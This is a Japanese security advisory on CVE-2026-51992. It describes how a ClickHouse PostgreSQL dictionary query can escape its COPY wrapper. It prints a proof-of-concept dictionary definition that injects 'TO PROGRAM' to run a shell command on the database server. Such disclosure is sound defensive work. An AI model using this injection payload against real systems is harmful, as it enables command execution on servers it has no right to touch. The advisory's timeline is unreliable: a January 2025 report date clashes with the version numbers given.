CVE-2026-51992

ClickHouse には、適切な権限を持つユーザーが、異なるデータベースとやり取りして特定のクエリを実行するためにディクショナリを作成できる機能があります。PostgreSQL の場合、SELECT クエリはデータベース上で実行される前に COPY( {QUERY} ) TO STDOUT ステートメントでラップされます。作成したディクショナリに括弧を追加することで、COPY( {QUERY} ) TO STDOUT ステートメントをエスケープして任意の SQL ステートメントを実行でき、さらにデータベースサーバー上で任意のコマンドを実行することも可能になります。

詳細

PostgreSQL ディクショナリは次の構造で作成されます:

SOURCE(POSTGRESQL(
    port 5432
    host 'postgresql-hostname'
    user 'postgres_user'
    password 'postgres_password'
    db 'db_name'
    table 'table_name'
    replica(host 'example01-1' port 5432 priority 1)
    replica(host 'example01-2' port 5432 priority 2)
    where 'id=10'
    invalidate_query 'SQL_QUERY'
    query 'SELECT id, value_1, value_2 FROM db_name.table_name'
))

ディクショナリで使用される PostgreSQL エンジンのドキュメントには、次のように記載されています:

PostgreSQL 側の SELECT クエリは、各 SELECT クエリの後にコミットを伴う読み取り専用の PostgreSQL トランザクション内で COPY (SELECT ...) TO STDOUT として実行されます。

クエリが Postgres インスタンスに送信される前にディクショナリで定義されたクエリに対する追加の検証がないため、クエリを ")" で始めることによって "COPY(...) TO STDOUT" を抜け出し、読み取り専用ではないトランザクションを作成できます。例として、次のクエリを使用して ClickHouse に「悪意のある」Postgres ディクショナリを作成できます:

CREATE DICTIONARY exec_dict(id UInt64, value UInt64 DEFAULT 0) PRIMARY KEY id SOURCE(POSTGRESQL(port 5432 host '172.17.0.3' user 'postgres' password 'password' db 'postgres' query 'SELECT 1) TO PROGRAM \'id>/tmp/test\';-- ')) LAYOUT(DIRECT())

ディクショナリが作成されると、そのディクショナリを参照することで ClickHouse 内でロードできます。ClickHouse は、ClickHouse が期待する COPY 関数が失敗したことを示すエラーを返します。ただし、クエリの残りの部分はバックエンドの PostgreSQL データベース上で引き続き実行されます。PostgreSQL の PROGRAM 機能を悪用することで、任意のコマンドを実行できます。

背景

当初のテストはバージョン 25.8.10.7 で行われましたが、レポートが 2025 年 1 月 30 日に提出された時点では、当時の最新バージョンは 26.3.9.8 で、脆弱性は依然として存在していました。レビューの結果、2026 年 4 月 10 日にこの問題は "該当なし" とマークされ、次のような声明が添えられました:

いいえ、これはセキュリティ上の理由ではなく、主に効率のためです。Postgres の認証情報とリモートテーブル関数を持つユーザーは、すでに多くのことを行えます。または、PostgreSQL データベースに直接接続してこれらのクエリを実行することもできます。

したがって、これはリスクではありません。ここでの攻撃者は、PostgreSQL データベースへの有効な認証情報と、ClickHouse の有効なユーザー、および PostgreSQL テーブル関数を使用する権限を必要とします。

PostgreSQL データベースを保護するには、ClickHouse ユーザーが使用するすべての PostgreSQL 認証情報に対して適切な権限を使用する必要があります。つまり、権限を制限し、スコープを限定し、そのまま既定の "postgres" 認証情報を使用しないということです。

したがって、この問題は、この記事の執筆時点での ClickHouse の最新バージョンにも依然として適用されます:

修正がリリースされる可能性は低いと思われます。つまり、現在のすべてのバージョン、おそらく将来の ClickHouse のバージョンも影響を受けることになります。